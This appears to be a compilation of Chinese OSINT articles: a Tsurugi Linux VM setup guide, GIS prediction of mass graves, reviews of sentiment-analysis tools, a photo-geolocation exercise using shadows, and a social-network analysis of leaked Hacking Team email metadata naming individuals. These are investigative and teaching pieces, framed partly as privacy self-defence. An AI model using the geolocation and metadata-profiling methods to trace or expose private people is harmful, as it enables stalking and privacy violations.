加载虚拟机后，选择虚拟机顶部的“设备”选项卡。

然后选择 “Insert Guest Additions CD image”，它位于下拉菜单的底部。

「图」

「图」

步骤**7**：挂载 **Guest Additions CD** 映像

完成此操作后，您将发现似乎什么都没有出现？但是查看虚拟机的右上角，您会注意到一个磁盘的图标。

单击该图标，然后选择 “安装VBox_Gas_6.1.2”。

「图」

「图」

「图」

「图」

磁盘现在将位于桌面上。

「图」

「图」

步骤**8**：使用终端

打开终端并输入以下命令：

”mkdir ~/Desktop/vbox”

「图」

「图」

您会在桌面上注意到一个名为“vbox”的文件。

「图」

「图」

步骤**9**：复制和粘贴文件

双击桌面上的磁盘，然后复制其中的所有文件。

完成此操作后，将它们复制到您创建的名为vbox的文件中。

Disk Image File: Copy

「图」

「图」

vbox File: Paste

「图」

「图」

步骤**10**：使用终端进行安装

复制完文件后，打开一个新终端，然后输入以下命令“ cd Desktop / vbox”，然后按 Enter。

「图」

「图」

然后输入 ”chmod ＋x *.sh”，再按enter。

「图」

「图」

然后输入“ ./autorun.sh”，再enter。

「图」

「图」

应该显示以下窗口：

「图」

「图」

输入密码，然后按Enter。

该程序将运行并安装。

「图」

「图」

完成后，别忘了按 Enter 键。

步骤**11**：添加 **Vboxsf** 用户

完成安装后，打开一个新终端并输入以下命令 “sudo adduser (UserName) vboxsf ”，并按 Enter。

用户将被添加。

完成此操作后，重新启动虚拟机。

「图」

「图」

「图」

「图」

重新启动虚拟机。

「图」

「图」

步骤**12**：安装完成（希望如此）

登录后，您应该在虚拟机的桌面上看到一个驱动器 “sf_您命名为位置的文件夹”。

「图」

「图」

现在，您将能够将数据从虚拟机保存到主机，反之亦然。

您当前所在的主屏幕称为DFIR工作区。在桌面上，您会注意到一个图

标 “ OSINT Switcher”。

选择该选项将使您移至OSINT工作区。这里有专门针对开源情报调查定制的工具和设置。

「图」

「图」

现在您已经启动并运行了虚拟机。这里面有您想要的几乎所有出色工具和特权；您可以自己发现它们。期待惊喜:)

保持好奇心！一切顺利 ~ ○

Tsurugi—Setting Up Your Environment

原文

当发生大规模死亡事件：开源信息寻找乱葬坑 - iyouport

开源情报-每个人都可用的武器

【2021年4月21日存档】

在发生武装冲突、大规模灾难、或流行病等创伤性事件后，恢复的第一步就是对悲剧中失去的所有生命进行说明和确认。在许多情况下，这些人被埋在乱葬坑中，这些乱葬坑可能没有标记，或者被故意隐藏起来。

长期以来，发现和记录乱葬坑一直是确保正义的一个困难而关键的组成部分。在任何大规模死亡事件发生后，社区和解的根本是确定乱葬坑的位置，并将失踪者的尸体归还其亲人，因为他们被剥夺了举行传统葬礼的机会。

除了习俗仪式外，对一个社区和死者亲属来说，获得死亡证明很重要，因为很多手续可能需要死亡证明。如果不提供这类文件，一些亲人就无法转移财产、无法获得赔偿 (如果有的话)，甚至无法再婚。最后，许多实体都希望从乱葬坑中收集法医证据，以确定发生了什么，如果证明发生过犯罪行为，则需要调查和起诉责任人。

传统上，乱葬坑的位置是根据幸存者的个人描述和广泛寻找潜在的埋葬地点，以便进一步探测或挖掘。然而，在可能对人身安全构成威胁的情况下，根据传闻证据对乱葬坑地点进行实际搜索是一项非常耗时和耗费资源的工作。

需要开发新的工具和方法来加快这种搜索，以减少所涉及的风险，增加找到和确认遗骸的机会，更重要的是，让更多的人与其亲人团聚，为他们提供一个适当的葬礼和诉诸法律的机会。

过去曾使用过几种依赖技术的方法来预测墓穴的位置，尽管成功程度不同。通常，地球科学方法利用考古技术与其他学科的技术相结合。高光谱分析已被用于从卫星图像中探测腐烂尸体和周围植被的特征，但这种方法成本很高，而且大多数独立公民组织无法使用。

另一个例子来自人权数据分析小组和伊比利亚美洲大学，该组织创建了一个机器学习模型，汇总新闻报道和个人账户，以预测乱葬坑数量最多的地方。这是一个很有前途的模型，可以确保精力集中在正确的领域，尽管它缺乏确定坟墓位置所需的精细度。

地理信息系统和预测性建模

「图」

其他方法侧重于利用地理信息系统进行空间分析，以建立预测和推理模型来寻找隐秘的坟墓。这些研究调查已知的乱葬坑的特征和与其位置有关的特征，以推断为什么选择这些地点。

作为弗吉尼亚联邦大学（VCU）法医科学学位要求的一部分，Perla Santillán 对使用GIS定位乱葬坑进行了进一步研究，重点是使用开源工具和数据。

他的研究灵感来自于个人经历和在他的家乡塔毛利帕斯州马塔莫罗斯的暴力事件中所目睹的状况。马塔莫罗斯位于美国和墨西哥最东南部的边境，暴力事件极为严重。自2006年以来，冲突急剧增加，失踪事件每天都在发生，给社区带来了沉重的精神负担。

他的研究在VCU和大赦国际的支持下，考察了危地马拉国内武装冲突（20世纪60年代至80年代）中已知的乱葬坑的地理信息和空间特征，并分析了可能预测其他尚未发现的乱葬坑位置的模式。危地马拉的乱葬坑

使用QGIS，一个支持查看、编辑和分析地理空间数据的免费和开源应用程序，就能够评估许多地理特征相对于最近的已知乱葬坑位置的特征。

这种潜在的预测参数包括道路、水道、一些兴趣点（社区结构，如教堂、广场等）以及行政边界的位置。选择这些参数的依据是它们以开源的形式提供，以及这些特征在世界范围内的共性，这将使这项研究能够被复制并具有成本效益。

例如，从 OpenStreetMap 项目中获取道路数据，从航天飞机雷达地形任务中获取数字高程文件，并计算每个乱葬坑与最近道路之间的距离和高程变化。利用QGIS的3D渲染能力，就能够创建一张地图来更好地理解这些变量之间的关系。

这种方法使调查者能够更有针对性地进行搜索预测 (排除90%以上的陆域)，为预测乱葬坑位置提供了有力的工具，提高了调查速度和效率。

「图」

描述性统计

还需要什么？

「图」

这项研究为建立一个更详细的乱葬坑位置预测模型奠定了基础，该模型可以通过增加预测变量清单来创建。在数据提供方面有许多不足之处需要解决，包括缺乏信息院。例如，一些组织不愿意分享其关于乱葬坑的完整数据库 (例如由于正在进行的起诉)，还有一些信息仅以专有的或模拟格式存在。

需要进行更详细的研究，甚至需要收集有关土壤类型、树木覆盖率 (无论是卫星图像还是无人机拍摄)、失踪事件的社会媒体报道、以及已知的乱葬坑地点的原始数据。更为重要的是将特定群体或肇事者与已知坟墓联系起来的信息，这很可能阐明纯粹的地理分析可能会遗漏的尸体处理模式。

将一个国家的乱葬坑研究结果与有类似冲突的其他国家进行比较，也会产生新的见解，并有可能为所使用的方法提供佐证。通过收集正确的数据和模型，调查人员可以排除那些不太可能成为秘密墓地的大面积区域，从而不需要对其进行搜索。

这种方法将为人权研究、刑事调查人员和寻求正义的家庭提供一套强大的新工具，其中许多工具可以在安全的工作站上部署。〇

The hunt for mass graves: developing a predictive model using open sources

原文

情感分析：如何在社交网络上抓取并分析大众对某些话题的情绪？ - iYouPort

开源情报-每个人都可用的武器

此前我们在 #OSINT 开源调查演示中提供了一些通过简单编程的数据挖掘技术。本文将侧重于不需要编程的挖掘工具，专注于文本和社交网络情感分析。追踪热点话题，掌握大众情绪

「图」

虽然人类还没有建立移情机器人，但已经开始使用机器学习来识别社交媒体数据中表达的人类情感，这种技术被称为情感分析。

Twitter 情感分析工具使您能够：

- 了解人们在 Twitter 上对某一事项的看法。
- 了解人们对您的竞争对手、整体市场趋势、产品供应等问题的看法。
- 分析动员推广活动对 Twitter 用户的影响。
- 总之，了解一个局势的概况（不论是政治还是商业）是调查工作的有利基础。

我们将在这里看一些免费的工具，用于对 Twitter 数据进行情绪分析。

NCSU Tweet 情感可视化应用程序（Web App）

北卡罗来纳州立大学高级分析研究所教授 Christopher Healey 博士为 Twitter 情绪分析建立了一个功能最强大的免费工具：Tweet Visualizer。

NCSU Tweet Visualizer 的特点：

易于使用

只需输入关键字，Tweet Visualizer 就会自动提取最近的推文（比如

过去一周，尽管热门主题的时间范围较短）然后，您可以探索该工具为推文提供的众多可视化选项：

「图」

Tweet Visualizer 可视化中的一个非常有用的功能是，您可以将鼠标悬停在散点图的气泡上，从已识别的 Twitter 用户那里获取单个推文，并查看它们所属的情感范畴。

情感分析的复杂性

这提供有三个情感维度：

- Pleasure（你有多高兴）
- Activation（你多么兴奋）
- Dominance（这个特定的术语指在多大程度上支配了文本片段的总体情绪）

「图」

Heatmap of emotional dimensions in NCSU Tweet Visualizer

NCSU Tweet Visualizer 提供的维度远远超过许多其他免费情绪分析工具，这些工具中的大多数只关注三个标准尺度：积极、消极和中立。这种笼统的划分可能会导致结果不准确。

“activation”维度听起来有些奇怪，但它有一个重要用途：“假设我对某些事感到非常高兴、并且非常激动：我使用的词语就会像’兴高采烈’或’兴奋’这样；现在假设我对某些事情同样高兴，但我的“激活规模”很低，在这种情况下，人们会说我比较’心平气和’或’放松’。

如果只关注是否愉快，将无法区分“兴奋”和“放松”。而 activation 标度则可以区分这两者。

主题聚类能力

最后，Tweet Visualizer 不仅可以处理情感分类，还执行主题聚类。

换句话说就是，它通过利用机器学习算法自动将推文聚类成相关主题（有关此类机器学习如何工作的更多详细信息，这里有一篇对聚类算法的深入解释）。

该工具将情绪分析与主题聚类相结合，能更好地帮助您了解人们对特定主题的看法：

「图」

Topic clusters for recent tweets about Microsoft in NCSU Tweet Visualizer

NCSU Tweet Visualizer 应该足以用于基本的社交媒体监控和品牌管理用例，但是它没有用于高级实现的 API。

以下还有一些其他工具。

Enginuity（Web应用程序）

Enginuity 是一种付费的解决方案，但基本版本也可以作为免费的 Web 应用程序使用。它与许多免费情绪分析工具的工作方式不同。Enginuity 不是直接查询与某个关键字相关的推文，而是允许您搜索有关该关键字的最新新闻报道。

然后，该工具会查询 Twitter 和 Facebook，以计算报道被共享的次数。它还能分析社会情绪是正面还是负面、各自多少份额，并给出读者对新闻故事的总体情绪评级。

因此，Enginuity 是一个很好的工具，可以通过您的社交渠道找到可以分享的故事，也可以获得关于社交媒体上最近发生的事件之大众情绪的综合图景。

Revealed Context （API / Excel 加载项）

Revealed Context 提供了一个免费的 API，用于每天运行多达 250 个文档的情绪分析。有一个 Excel 加载项和一个 Web 界面，独立于 API 运行分析。

虽然 Revealed Context 没有提供直接抓取 Twitter 的界面，但它很简单，可以在不使用 API 的情况下分析推文的电子表格。使用 API，您可以构建一个管道，将最近的推文从 Twitter API 提供到 Revealed Context API 进行处理。

Steamcrab（Web App）

Steamcrab 是一个用于在 Twitter 数据上进行情绪分析的 Web 应用程

序。它侧重于关键字搜索，并根据两极尺度（正面和负面）分析推文。可视化选项仅限于散点图和饼图。

MeaningCloud（API / Excel 加载项）

MeaningCloud 是另一个用于文本分析的免费 API，包括情感分析。MeaningCloud 的一个优点是除了情绪分类之外，API 还支持许多文本分析操作。这些操作包括主题提取、文本分类、词性标注等（如果您不熟悉这些操作，这里有一篇文本分析的文章可参考）

与我们考虑的其他解决方案相比，MeaningCloud API 更灵活地用于主题提取，因为使用其他工具主题群集是根据您输入的初始关键字自动执行的。

此外，MeaningCloud 允许用户上传*自定义词典*，用于主题提取和情感分类。

MeaningCloud 提供 Excel 加载项，但它不适用于 Excel for Mac（许多 Excel 加载项存在问题）。

Socialmention（Web 应用）

Socialmention 是一个基本的搜索引擎风格的 Web 应用程序，用于对 Twitter 数据进行主题级情绪分析。您可以输入关键字，该工具将返回带有关键字的内容，以及相关关键字的总体情绪分数。

Socialmention 的一个优点是支持基本的品牌管理用例 — 该工具返回一个“passion”分数，用于衡量 Twitter 用户讨论您的品牌的可能性，以及 Twitter 用户讨论您的品牌的平均覆盖面。

具有情感分析功能的数据挖掘平台

开源数据挖掘平台提供了一些最先进的文本和情感分析支持，基本上是免费的。

RapidMiner 和 KNIME 等解决方案具有内置的情绪分析模块以及许多第三方模块。

关于文本分析的免费开源解决方案有很多，但坏消息是您大概需要一位语言学家和数据科学家一起工作才行。出于这个原因，以下将专注于普通用户可以在几分钟内实际启动和运行的工具。保证您不需要编译源代码或掌握复杂的算法也可以操作。

RapidMiner + AYLIEN

- 解决方案类型：用于开源数据挖掘平台的文本处理附件
- 部署： Windows，Mac，Linux
- 适用于：情感分析、高级文本分析
- 定价：免费（免费版本使用单个逻辑处理器可处理多达10,000行 — 更高级功能需要购买付费版）

RapidMiner 是一个开源的数据科学平台，包括数据挖掘、文本挖掘、预测分析等等。RedimMiner 的功能可以通过附加组件或扩展程序得到显著增强，其中许多也是免费提供的。

RapidMiner 营销数据科学家 Thomas Ott 解释说："RapidMiner 的优点在于它的可视化编程：你不必编写代码，而且你不必知道它背后的数学。"

在其他扩展中，RapidMiner Marketplace 为第三方供应商 AYLIEN 开发的情绪分析提供了非常实用且用户友好的附加组件。

AYLIEN 的扩展可以自动从 Twitter 获取数据（RapidMiner 也是如此）。然后，它分析推文并用三值情绪量表对其进行评分：正面、负面或中立。

除了从 Twitter 等 Web 源读取外，RapidMiner 还可以直接从平面文件（如 CSV 和 Excel 文件或数据库）中读取。

RapidMiner 还提供自己的文本分析扩展，其中包括强大的文本处理功能，可与高级群集算法和机器学习操作结合使用。

正如 Ott 所解释的那样，"查看文本有两种主要方法。一个是进行高级概述：单词计数、单词频率、单词在语料库中的出现[正在分析的文档集合]等。另一个是更重要的，例如，情绪分析和其他技术，您可以在数据集上训练机器学习算法。"

「图」

Adding clustering algorithms to text mining workflow in RapidMiner

正如您在上面的屏幕截图中所看到的，将高级分析添加到 RapidMiner 中的基本文本挖掘工作流程就像将 operators 拖放到适当的位置一样简单。

完成此操作后，可以输出复杂的可视化效果。例如，您可以创建一个网络，显示您要关注的特定术语（例如关键字、特定地理名词、标签）与您正在分析的文档中的其他术语之间的关系。

以下屏幕截图是此类可视化的示例。Ott 将聚类算法应用于联邦储备银行会议纪要，以了解货币与会议讨论中的概念之间的关系：

「图」

Using clustering algorithm to show relationships between terms in a document

RapidMiner 是本文演示的所有平台中最容易使用和功能最全的文本挖掘工具。使用 AYLIEN 扩展，您将能够在几分钟内完成下载和安装，以执行基本的情绪分析。RapidMiner 为新手提供了一个很好的入门页面。要了解如何使用 RapidMiner 执行高级文本分析，您可以在 RapidMiner 社区探索到更多好玩的东西。

KNIME 分析平台

- 解决方案类型：开源数据挖掘平台的文本处理附加组件
- 部署： Windows，Mac，Linux（云版本也可用）
- 适用于：高级文本分析
- 定价：免费（免费版本缺乏批处理和模板共享等高级功能，以及高级支持选项）

KNIME 是另一个强大的开源数据挖掘平台，有免费版本提供，功能丰富。

与 RapidMiner 一样，KNIME 为“无编程”数据挖掘提供了直观的可视化工作流程构建器。它还提供了许多与 RapidMiner 相同的运算符（运算符在 KNIME 中称为“节点”）。

使用 KNIME，用户可以执行以下任务：

- 词干：将关键术语的变化折叠成基本形式
- 停止文字过滤：删除无关紧要的词，例如“in”，“for”和“the”
- 符号化：通过用户指定和预编程的规则将文本字符串分解为较小的单元，例如单词和短语

个人认为 KNIME 的工作流程界面比 RapidMiner 更难以使用，尽管它们有相似之处。例如，输入/输出管道的逻辑让我感到震惊，因为

在 RapidMiner 中可以比在 KNIME 中更自然地实现。

此外，RapidMiner 还提供详细的自动化建议，解决工作流中的 operators 无法连接的问题，这使得新手可以轻松构建功能性文本挖掘管道并在问题发生时对其进行故障排除。

KNIME 提供了对节点的良好描述，但没能很好地解释为什么节点不能连接。

最后，RapidMiner 目前提供比 KNIME 更多的文本处理和情感分析扩展。

另一方面，免费版 KNIME 提供比免费版 RapidMiner 更广泛的数据处理功能。使用免费版本的 KNIME 可以处理的行数没有限制，这使得它更适合大型数据集，或者免费版本可以在数据处理中利用的物理核心/逻辑处理器的数量。

- ○ 经验丰富的分析师和数据科学家可以使用 RapidMiner 或 KNIME，并且应该演示两者，以便根据这些平台的高级功能做出决策。新手可以从 RapidMiner 开始，以便得到更好的服务。RapidMiner 的界面不仅易于学习，而且还有更多关于如何使用它的文档。

Open Calais

- 解决方案类型：用于实体提取和文档标记的专用工具
- 部署：云（内部部署版本已付费）
- 适用于：实体识别
- 定价：免费（每天限制为 5,000 次提交，而付费选项可扩展到数百万，并提供更广泛的类别字段集）

Open Calais 是汤森路透提供的基于云的内容标记工具。与 RapidMiner 和 KNIME 不同，它不是具有文本挖掘扩展的数据挖掘套件，也不进行情绪分析。相反，它擅长实体识别和提取的领域。

您将非结构化文本提供给 Open Calais，它可以识别人员、产品和公司等实体。Open Calais 还承认实体之间的关系以及有关实体的事实。它甚至可以将实体组织成主题。因此，Open Calais 可用于快速从文档中提取信息。然后，可以使用此信息标记文档以进行分类。

- ○ 与 RapidMiner 和 KNIME 不同，Open Calais 不适用于基本文本处理或高级情感分析。它非常擅长识别用于分

析非结构化文本的实体，并且是用于文档标记的强大工具。

AntWordProfiler

- 解决方案类型：用于词汇表分析/符号化的闭源工具
- 部署： Windows，Mac，Linux
- 适用于：确定术语频率，词汇表分析
- 定价：免费软件

AntWordProfiler 是由早稻田大学科学与工程英语教育中心教授 Laurence Anthony 创建的免费工具。Anthony 拥有语言学博士学位，他创建的工具擅长对大型文件进行快速词汇表分析。

「图」

Determining word frequency with AntWordProfiler

AntWordProfiler 使用预加载的词汇表和同义词列表，可以由用户编辑，以确定单词频率。用户还可以将自定义词汇表列表加载到工具中。

然后可以将结果保存在格式化的文本文件中，以便在 Excel 或其他电子表格工具中轻松查看。还有一个文档查看器，用于突出显示词汇表中的关键字在文档中的位置。

- ○ AntWordProfiler 可用于快速计算复杂的非结构化文本中的单词频率，以及非结构化文本的自定义词汇表分析。然而，与 RapidMiner 和 KNIME 不同，它不是端到端的文本挖掘解决方案。

更多玩具！

以下是您应该考虑尝试的其他一些整洁的玩具：

Carrot2：用于将聚类算法应用于文档的专用工具。有一个基于 Web 的界面，用于应用一些常见的聚类算法，有助于将文档组织成主题类别。Carrot2 还集成了流行搜索引擎的 API，以便自动聚类关键字搜索的结果。因此它可以用于搜索引擎优化（SEO）。

AYLIEN Google表格附加组件： AYLIEN 是为 RapidMiner 开发情绪分析扩展的公司，它还提供了一个用于直接在 Google 表格中进行情

绪分析的附加组件。这是在电子表格式界面中抓取情绪的最简单方法之一，但您如果使用免费计划则每天可进行的 API 调用数量有限。

国家文本挖掘中心/曼彻斯特大学情感分析：虽然仍处于测试阶段，但该工具在确定单个文本中的整体情绪方面已经非常实用（目前好像还不支持批量上传）。一个很好的功能是该工具可突出显示正面和负面词语以及不同颜色标记的文本块。

The Data Science Toolkit：一组易于使用的基于 Web 的文本挖掘工具，包括基本情感分析。还有许多用于地理编码文本的工具。例如，您可以将街道地址转换为坐标。这些工具也可通过高级用例的 API 调用获得。

好啦，如果您还了解更棒的工具，欢迎在评论中推荐给大家！本文列表将随时得到更新。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

情报眼：细节越多暴露越大-侦探挑战游戏 - iYouPort

开源情报-每个人都可用的武器

请注意这里出现的是政府间谍最常用的开源追踪方法 —— 无需任何平台协助，无需任何后门

「图」

「图」

这里是侦探挑战游戏的最新一集。如果您不了解这个游戏，或者忘记了先前的内容，可以在下面回顾：

- 《那辆军车正驶向哪里？：侦探挑战时间》
- 《侦探挑战游戏：快速地理定位的两种方法》
- 《侦探挑战：间接证据和排除法》
- 《侦探挑战小游戏：Quiztime》
- 《使用电影做侦探挑战演示：开源调查游戏》
- 《侦探挑战时间：让井盖和自行车说话》

人们总是不知道自己发布的照片中都包含了哪些秘密 —— ⚠事实上永远比你想象中要多。

其实最近我们发现了一个很好的现象，一些中国网络用户在上传照片的时候的确会遮盖脸部、二维码和地址邮编的部分；但是，并非只有这些细节是致命的。

☞这就是 *侦探挑战* 游戏的用意，即 邀请您亲手调查一张陌生的照片，以此追踪发布者的位置甚至曝光其真实身份。

如果你尝试完成了相关的思考，下一次在准备上传任何照片的时候，您就会主动采取追踪者的眼光来审视您准备发布的内容。

今天的内容继续旨在锻炼这一能力 —— 您的自我保护直觉，和发现

重要线索的敏锐。

军事情报人员接受的训练就包括这点，他们会拿到一张看上去细节不多的照片，但是他们被要求从中找到二十个重要的情报：照片中的人是谁？什么时候拍摄的这种照片？目标当时的心情如何？为什么是这样？他和谁在一起？他在哪里？他穿的是什么鞋？他穿的衣服是在哪里买到的？等等。

☞提出正确的问题有助于提取更多的情报线索；同时，只有当您拥有的信息越多的时候，才能越容易发现某些重要的东西。

今天的侦探挑战游戏使用 Julia Bayer 的题目，就是下面这张照片，问题是：它是在什么时间拍摄的？nixintel 对此做出了优秀的演示。

「图」

「图」

很明显这是一个关于 when 的问题。但是在没有任何EXIF数据或可见时钟的情况下，唯一计算时间的方法 …… 还记得是什么吗？

没错，就是利用太阳的阴影。

发布日期是 Nov 25, 2019，帖子中的提示是 “Last Thursday”，也就是说 **11月21日，星期四**。但是，如果需要知道具体拍摄时间，您首先要知道的就是具体地点。

那么如何开始对该图像进行地理定位呢？

你可以采用几种不同的技术，但是 nixintel 认为这是一个演绎军事版《二十个问题》的好机会 —— 您可以从这张照片中提取二十条情报线索来帮助入门吗？

来试试看：#晴朗天气；

- 现代建筑，玻璃和金属构造；
- 它是什么样的建筑？不是住宅或工业建筑，看起来也不像是宏伟的公共建筑（比如法院、议会等）。
- 在建筑物的上面部分正在进行一些建筑工作；
- 右侧有 “Menu” 标志 —— 可能是咖啡馆或餐馆；
- 外面有大型百事可乐标志；
- 从左面玻璃窗的反射来看，这个建筑物位于道路旁的开放式绿

色空间对面（比如公园或公共花园）；
- 人行道上的某种电话或电气维护箱；
- 带有YBS标志的黄色巴士– YBS代表什么？
- 巴士服务路线号是79；
- 公共汽车上的文字是非西方文字；
- 车身上刊登的是 “100 Plus Active” 软饮料的广告 —— 该产品在哪里出售？广告上有一个 Facebook 的logo—— 该公司是否有一个 Facebook 页面可以告诉我们更多有关它们在世界上哪些地方经营的信息？
- 公交车牌照的格式：红色背景上的白色文字，3N-2457。在此之上有一些较小的文字；
- 红色和白色相间的混凝土路缘石。哪些城市/国家有这样的道路？
- 主楼前有单独的道路或停车场？
- 照片中的人似乎是亚洲人，可能是东南亚人；
- 照片中的人穿着的衣服和绿树暗示着温暖的气候；
- 台阶右侧好像是某种神祭物品；
- 一个人坐在大楼外的台阶上。街上的人不多，交通也不多 —— 这是否意味着是一天中很早的时间？这栋楼还没有开门吗？
- 有人体模特在建筑物的窗户中显现。说明该建筑物的部分或全部用于零售。

1. 《别让社交媒体的自然模糊阻挡真相》

- 《如何让模糊图像变清晰？- 开源情报初级处理工具》

1. 不要错过推特高级搜索方法《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》

- 《调查记者如何从社交媒体上挖掘情报？》

1. 《千头万绪怎么办？介绍一种很重要的信息验证和深入调查方法》

- 《让阴影说话：开源调查小游戏》
- 此外《10个简单技巧 快速验证社交媒体热门视频的真伪》

通过检查阴影长度并移动滑块以匹配照片中的阴影位置，可以估算出拍摄照片的时间是当地时间大约是08:40。

「图」

「图」

第一步：位置；

第二步：日期。确保它与您的 intel 匹配，因为 SunCalc 会基于它来模拟太阳的位置；

第三步：当地时间。显示的数值与屏幕最上方的滑块相关联；

「图」

「图」

第四步：阴影长度计算器。在这里您可以输入指定对象的高度。SunCalc 根据一天中的时间计算阴影的长度，并在地图上将其显示为黑线。

第五步：输入日期（2）和高度（4）后，您可以使用顶部的滑块调整阴影。 当它与您的参考相匹配时，本地时间框（3）显示出的信息就是您的答案。

在本案例中，建筑物的阴影似乎覆盖了第一个车道。这发生在上午8:40左右。（@Versoliter 的解答）

最后

如果您恰巧在搜索中发现了这个小细节，那么这个侦探挑战游戏对此后的另一个挑战也会有很大帮助：

「图」

「图」

仰光是缅甸的前首都。因此，当拍摄者说这栋建筑在旧都时，她很有可能再次指仰光：

「图」

「图」

建筑物是什么样的？不太可能是教堂。它看起来像某种不再使用的议会大厦。通过 Google 图片快速搜索 “Yangon + former parliament OR assembly”，可以看到旧时众议院的这张照片：

「图」

「图」

Wikipedia 进行了后续跟踪，找到该建筑物在使用中时的图片：

「图」

「图」

好啦就是这样，您学会了吗？记得多练习哦。〇 广告

原文

想知道老大哥是如何侵犯你的吗？挖掘更深层的内幕 #OSINT - iYouPort

开源情报-每个人都可用的武器

不需要 hacking 也能做到窥探你的一切

> 你自己可能都没有注意到的自己的特殊习惯，但数据全知道。本文演示一个开源调查，如何通过简单的元数据构建一个人/一个组织最私密的生活全景图。事实上我们真正希望演示的不仅仅是 OSINT 的真相挖掘思路，更关于，您应该如何避免被这类数据分析所追踪

「图」

在沙特记者 Jamal Khashoggi 被残害案中，我们再次提到了臭名昭著的意大利间谍软件公司 Hacking Team，在这里看到《Wikileaks：异议记者遇害案嫌犯之一曾接受 Hacking Team 间谍软件培训; 与沙特王储关系密切》。

2015 年7月5日，世界上最大的网络战武器制造商和经销商之一、意大利公司 Hacking Team，面临内部电子邮件数据库的大规模泄密。泄漏者提供超过 400 千兆字节的数据，内部电子邮件、发票和源代码的链接。

在接下来的几天里，Wikileaks 和 Transparency Toolkit 陆续发布了一个可搜索的 Hacking Team 电子邮件数据库，揭示了他们与"全球政府机构"、公司和个人的运作、联系和沟通的详细信息，以及他们的网络监视武器的功能。

人们很快就发现了隐藏在其中的另一些宝石。

自己做元数据调查

世界各地的政府机构执行的数据挖掘和分析操作背后的概念是，通过

分析元数据以揭示人与人之间的联系，这些相关性可以产生重要的调查线索。

政府机构不是唯一这么做的人，我们的元数据一直在被各方不断收集，并由 Google 和 Facebook 等主要互联网公司进行检查，但目的是对用户进行剖析并将我们的行为转化为他们的利润，每年达到数百亿美元。

感谢 Edward Snowden 在 2013 年6月的揭露，让我们深入了解了 NSA Stellar Wind，Boundless Informant，PRISM 和 XKeyscore 计划。这些老大哥计划的一个目标就是收集和分析大量的电子邮件元数据。分析涉及诸如链接相关性之类的操作，构建网络图，该网络图模拟目标实体（人员，组织等）的通信（电子邮件，电话等）模式以及目标发送或接收的通信。

为了说明元数据分析的侵入性，我们采取了大量的元数据，以 Hacking Team 为例，可以从该组织被泄漏的电子邮件数据库中提取这些元数据，结合公开可用的知识和在线提供的大量免费或试用版工具，演示 OSINT 开源调查。

— — 调查过程 — —

电子邮件元数据：调查的积木

从电子邮件标题的简短解释开始。每封电子邮件都包含三个组件：信封、标题和邮件正文。信封是电子邮件路由的内部工程的一部分，正文是邮件的实际内容，标题是电子邮件的第三个组成部分，也是我们研究的兴趣点。是的，大多数时候你根本没必要读正文。

「图」

标题标识消息的特定路由信息包括发送者、接收者、日期和主题、发送和接收时间戳。在某些情况下，电子邮件标题还包含发件人的 IP 地址以及电子邮件从一台计算机传输到另一台计算机时所采用的路由信息。

「图」

Tools : Export from MS Outlook Code Two Outlook Export 」 Data processing MS Excel

从大约 60 个帐户和数十万封 Hacking Team 员工的电子邮件中提取数据后，可以得到一个可用的数据库。

针可以在大海里捞

探索这大堆数据的第一步是执行"社交网络分析"，这是一种基于网络和图形理论调查社会结构的策略。它根据节点（个体参与者 — 人）和连接它们的中心或边缘（相关或交互）来表征网络结构。在我们的案例中，网络图表示对 2012 年至 2015 年间 Hacking Team 员工与其联系人之间交换的所有电子邮件标题的分析。即使在调查最初，也能够检测到主要的内部和外部参与者和关系，更多正是通过它们之间交换的电子邮件数量得来的。

通过选择单个节点，我们能够探索他们各自的社交关系和联系。

工具：使用 Gephy 进行社交网络分析， 由 Sigma.js 导出。

在探索元数据时，我们注意到，对数据的理解和从中得到的线索高度依赖于我们应用于数据集的可视化类型。有时，不同行为者之间的联系更成功，通过使用不同的可视化能够更清晰地揭示出来。就像在这个例子中，我们看到的数据集与上面提到的相同，但这次是以热图的形式出现的。

「图」

内部沟通的热图

方块颜色的明暗可以揭示组织内不同员工之间的个人关系。D. Vincenzetti 显然是该图中的主要参与者，但我们也可以注意到该热图中的一些其他强关系，这可以帮助我们更好地了解他们的组织结构。

最后，通过使用两种可视化方法，我们能够形成一个可能代表组织结构内部真实关系的通信图表。它可能不会显示与其名片上的内容相符的关系，但另一方面，它可能更好地代表组织内部人员之间真实的关系。

「图」

基于沟通水平和方向的潜在组织结构

撇开组织结构，如果我们要添加从元数据中检索到的另一个有趣的信息，那就是 — 时间组件，我们将能够根据每个员工发送的消息数量

及时跟踪每个员工的活动。完成此操作后，我们创建了以下活动图表。通过这种分析，您可以，例如，推测或确定一年中哪一部分是组织最繁忙的时段，或者与其他信息输入相结合来分析，可以看到某些员工什么时候去度假或请假。

「图」

每位HT员工及时发送的电子邮件数量

和调查性新闻的做法一样。在我们的数据集中，这意味着大约 4600 个不同的人在2年的时间内与 Hacking Team 员工交换了电子邮件。

如果我们排除所有 @hackingteam.com 地址并按记录数量对结果进行排名，将可以直接指向这一结论。以下是 Hacking Team 联系人列表，交换了50多封电子邮件：

「图」

「图」

HT 员工与外部联系人之间交换的电子邮件数量（ 」 30 ）（ 2014–2015 ）

此外，如果我们添加时间组件，就可以全面了解谁与谁以及何时进行通信。

「图」

按域名分组电子邮件，在对域名背后的公司进行一些研究后，我们根据他们正式提供的服务类型对它们进行了分类。

「图」

外部联系人根据 d.vincenzetti 电子邮件按域名分组

根据这个树形图，与 HT 合作的最大组织来自“数字安全”部门，其次是个人联系人，即“顾问”和风险投资公司。

我们可以及时探索选定公司与 HT 团队之间的关系。

「图」

选定公司与 HT 员工进行电子邮件通信的时间表（ 2014年 ）

不同的颜色代表组织内的不同人。我们可以注意到，例如，根据检查的元数据可见，Hacking Team 的最大合作伙伴 Nice Solutions，Hacking Team 和 Nice 之间的联系非常紧密，两家公司之间的沟通很多，包括很多不同级别的不同员工（图表上不同颜色的数量）。我们还可以跟踪不同行为者在不同时间进行交流的方式。

生活模式

人类是惊人的模式识别机器。我们不断分析复杂的输入集，并根据我们之前遇到或学到的事实做出决策[即 经验]。但是近年来，我们并不是唯一分析周围模式的人了，我们自己正在越来越成为被分析的对象，主要通过机器和算法来完成。

我们与我们使用的技术进行交互的独特方式、拥有的独特联系方式、或我们独特的行为模式，定义了我们的元数据签名，我们的指纹。在算法分析的眼中，每个人都是独一无二的。

生活模式分析是一种专门用于记录或理解受试者日常习惯的监视方法。

